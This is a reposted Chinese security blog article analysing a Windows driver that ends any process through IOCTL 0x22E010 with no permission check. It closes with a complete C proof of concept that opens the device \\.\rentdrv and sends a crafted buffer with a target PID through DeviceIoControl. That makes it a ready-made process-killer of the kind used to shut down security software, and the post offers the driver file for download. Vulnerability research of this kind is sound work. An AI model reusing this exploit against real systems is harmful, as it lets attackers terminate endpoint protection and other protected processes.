某Hao玩KillingProcess驱动

admin 2026-03-03 09:01:26 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文分析了某驱动程序的任意进程结束漏洞。作者通过逆向发现该驱动在处理IO控制码0x22E010时未校验权限,直接调用ZwTerminateProcess结束进程。文章详细阐述了漏洞触发流程,并提供了完整的POC代码演示如何利用DeviceIoControl实现任意进程查杀,具有较高的实战参考价值。 综合评分: 80 文章分类: 漏洞分析,漏洞POC,逆向分析


cover_image

某Hao玩Killing Process驱动

原创

kerne kerne

Relay学安全

2026年2月16日 00:00 陕西

免责声明

本文所有内容仅供网络安全学习与研究之用,旨在提升安全意识、探讨防御技术。读者必须承诺并保证仅将所述知识用于合法、授权的环境。

严禁任何个人或组织将本文提及的任何技术、方法或工具用于任何非法入侵、破坏、窃取数据等恶意活动。由此产生的任何直接或间接法律责任及后果均由行为人自行承担,与本文作者及发布平台无关。

作者力求内容准确,但技术发展迅速,本文不提供任何明示或暗示的担保。读者应在模拟环境或已获得明确授权的目标中进行实践。

演示视频:

已关注

关注

重播 分享 赞

关闭

观看更多

更多

退出全屏

切换到竖屏全屏退出全屏

Relay学安全已关注

分享视频

,时长00:24

0/0

00:00/00:24

切换到横屏模式

继续播放

[ ]

进度条,百分之0

播放

00:00

/

00:24

00:24

倍速

全屏

倍速播放中

0.5倍 0.75倍 1.0倍 1.5倍 2.0倍

超清 流畅

 您的浏览器不支持 video 标签

继续观看

某Hao玩Killing Process驱动

观看更多

转载

,

某Hao玩Killing Process驱动

Relay学安全已关注

分享点赞在看

已同步到看一看写下你的评论

视频详情

驱动文件获取:   公众号后台回复20260215获取

漏洞点如下:

还是通过ZwOpenProcess来打开进程的句柄后,使用ZwTerminateProcess函数将其结束掉。

下面则是根据传递过来的控制码将调用如上函数,如果控制为0x22E010且输入缓冲区的长度大于1052的话,则调用该函数来结束进程。

根据传递过来的IRP类型如果为IRP_MJ_DEVICE_CONTROL类型,则进入sub_180002F70派遣函数。

POC如下:

#include&nbsp;<Windows.h>#include&nbsp;<stdio.h>
#define&nbsp;IOCTL_SEND_DATA_CODE 0x22E010utypedef&nbsp;struct&nbsp;_CHECK_PROCESS_INPUT&nbsp;{    DWORD Pad1; DWORD ProcessId; &nbsp; &nbsp;// 进程ID   BYTE Pad[1078];&nbsp;//填充字节} CHECK_PROCESS_INPUT;int&nbsp;main(){   HANDLE FileHandler =&nbsp;CreateFileA("\\\\.\\rentdrv", &nbsp;      GENERIC_READ | GENERIC_WRITE,       FILE_SHARE_READ | FILE_SHARE_WRITE,NULL,        OPEN_EXISTING,      FILE_ATTRIBUTE_NORMAL,NULL);//判断是否成功获取到设备句柄 如果成功获取到设备句柄 则定义要发送给驱动程序的数据if&nbsp;(FileHandler == INVALID_HANDLE_VALUE) {printf("Faild to open the device Error code: %d\n",&nbsp;GetLastError());  }
    CHECK_PROCESS_INPUT buffer = {&nbsp;0&nbsp;};   buffer.Pad1 =&nbsp;1;   buffer.ProcessId =&nbsp;8860;&nbsp;//写你要Kill的进程名称
    DWORD bytesReturned =&nbsp;NULL;    BOOL success =&nbsp;DeviceIoControl(        FileHandler,&nbsp;//设备句柄        IOCTL_SEND_DATA_CODE,&nbsp;//IO控制代码     &buffer,&nbsp;//要发送给驱动程序的数据sizeof(buffer),&nbsp;//要发送给驱动程序数据的大小NULL,0,      &bytesReturned,NULL );}


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:Relay学安全 kerne kerne《某Hao玩Killing Process驱动》

评论:0   参与:  0